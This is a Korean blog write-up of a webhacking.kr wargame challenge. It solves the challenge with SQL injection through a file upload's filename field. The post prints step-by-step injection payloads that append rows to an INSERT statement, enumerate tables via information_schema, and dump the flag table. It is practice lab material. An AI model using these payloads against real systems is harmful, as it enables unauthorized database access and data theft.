파일을 업로드하는 페이지가 나왔다.
맨위에 Flag는 다른 테이블에 있다고 하니, 아마 SQLi를 통해 다른 테이블을 알아내는 문제로 추측된다.

 

몇 번 업로드를 하니, 대충 어떻게 업로드가 되는지 알 수 있었다.

 

일단 공격백터로 filename을 사용할 수 있는지 알아보기 위해 ‘를 넣어서 서버로 보냈다.
그 결과 쿼리 에러가 발생되었다.

 

filename의 값을 insult 쿼리에 삽입하여, 데이터를 저장하는 것으로 추측되는데 문제는 filename의 위치를 알아내야한다.
INSERT INTO 테이블명 VALUES(값1, 값2, 값3); 여기서 filename의 위치가 값1인지 값3인지를 정확하게 모른다는 것이다.

 

그래서 나는 일단 값3에 위치한다고 생각하고, INSERT INTO 테이블명 VALUES(값1, 값2, filename);#);으로 만들어줘서 해당 위치가 맞는지 확인을 하였다.
기대와 다르게 다른 위치인 듯하여, 경우의 수를 모두 넣어서 테스트를 진행하였다.

 

3', '123', My IP);#를 서버로 보내니, 해당 값이 저장되어 출력되었다.

이로써 INSERT INTO 테이블명 VALUES(filename, time, ip);로 이루어져있다는 것을 알 수 있었다.

전에 풀이하였던 32번 문제에 사용한 방법대로, VALUES 절에 여러 값들을 넣어서 내가 원하는 값도 같이 저장되도록 하였다.

 

여기서 굳이 값을 추가하는 이유는 filename은 INSULT 문에서 작음 따음표로 묶어져 있기 때문에 database()를 넣어도 문자열로 인식되어 실행이 되지 않는다.

 

1', '123', My IP),(database(), '123', My IP);#

database()을 사용하여 해당 테이블이 어떤 database에 존재하는지 확인하였다.

 

1', '123', My IP),((SELECT count(table_name) from information_schema.tables where table_schema='chall29'), '123', My IP);#

스키마으로 테이블의 개수를 확인하였다. 이렇게 한 이유는 테이블이 여러 개가 있으면, Limit를 이용하여 하나씩 출력을 해야하기 때문인데 총 몇번을 시도를 하면 되는지 확인하기 위해서다.

 

1', '123', My IP),((SELECT table_name from information_schema.tables where table_schema='chall29' LIMIT 0, 1), '123', My IP);#

2개 중 첫번째 테이블명을 확인하니, files가 나왔다. 아마 파일을 업로드하면 저 테이블에 저장이 될 것으로 판단된다.

 

1', '123', My IP),((SELECT table_name from information_schema.tables where table_schema='chall29' LIMIT 1, 2), '123', My IP);#

두번째 테이블명을 출력하니, 확실히 Flag가 저장되어 있을 것 같다.

 

1', '123', My IP),((SELECT * from flag_congratz), '123', My IP);#

flag_congratz 테이블 안에 Flag 말고는 다른 데이터는 존재하지 않을 거 같아서 모두 출력하였더니, 운 좋게 빙고였다.
이렇게 Flag를 획득할 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 52 Write Up  (0) 2021.06.01
[Webhacking.kr] Old - 34 Write Up  (0) 2021.05.31
[Webhacking.kr] Old - 53 Write Up  (0) 2021.05.30
[Webhakcing.kr] Old - 48 Write Up  (0) 2021.05.29
[Webhacking.kr] Old - 35 Write Up  (0) 2021.05.29
복사했습니다!